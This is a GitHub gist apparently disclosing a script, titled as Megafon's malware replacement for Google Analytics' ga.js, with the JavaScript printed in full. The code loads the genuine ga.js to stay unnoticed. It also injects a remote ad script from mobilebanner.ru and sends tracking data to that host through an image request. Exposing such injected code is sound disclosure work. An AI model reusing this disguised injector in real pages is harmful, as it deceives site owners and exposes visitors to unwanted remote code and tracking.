Created
July 23, 2018 08:00
-
-
Save codesnik/9c6863cad6c3ba2af35e1bd1461a95f6 to your computer and use it in GitHub Desktop.
megafon's malware ga.js replacement
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! function() { | |
function e(e) { | |
var n = "", | |
t = "?"; | |
for (var r in e) { | |
var o = e[r], | |
a = "boolean" == typeof o ? o ? r : null : o; | |
a && (n += t + "cv[]=" + encodeURIComponent(a), t = "&") | |
}(new Image).src = "http://d.mobilebanner.ru/p.gif" + n | |
} | |
function n() { | |
try { | |
return window.self !== window.top | |
} catch (e) { | |
return !0 | |
} | |
} | |
function t() { | |
var e = document.getElementsByTagName("head")[0], | |
n = document.createElement("script"); | |
n.src = "http://p.mobilebanner.ru/ad/base.js?", n.type = "text/javascript", e.appendChild(n) | |
} | |
function r(e) { | |
c.parentNode.insertBefore(e, c.nextSibling) | |
} | |
function o(e) { | |
document.write(e.outerHTML) | |
} | |
function a() { | |
for (var e = document.createElement("script"), n = Array.prototype.slice.call(c.attributes), t = 0; t < n.length; t++) e.setAttribute(n[t].nodeName, n[t].nodeValue); | |
return e.src = "http://www.google-analytics.com/ga.js?", e | |
} | |
var c = document.currentScript || document.scripts[document.scripts.length - 1], | |
i = a(); | |
c.async || c.defer ? r(i) : o(i); | |
var d, u = n(); | |
window.__qsrad || u ? d = { | |
iframe: u, | |
bannerAlready: window.__qsrad | |
} : (window.__qsrad = 1, d = { | |
bannerShow: !0 | |
}, t()), e(d) | |
}(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment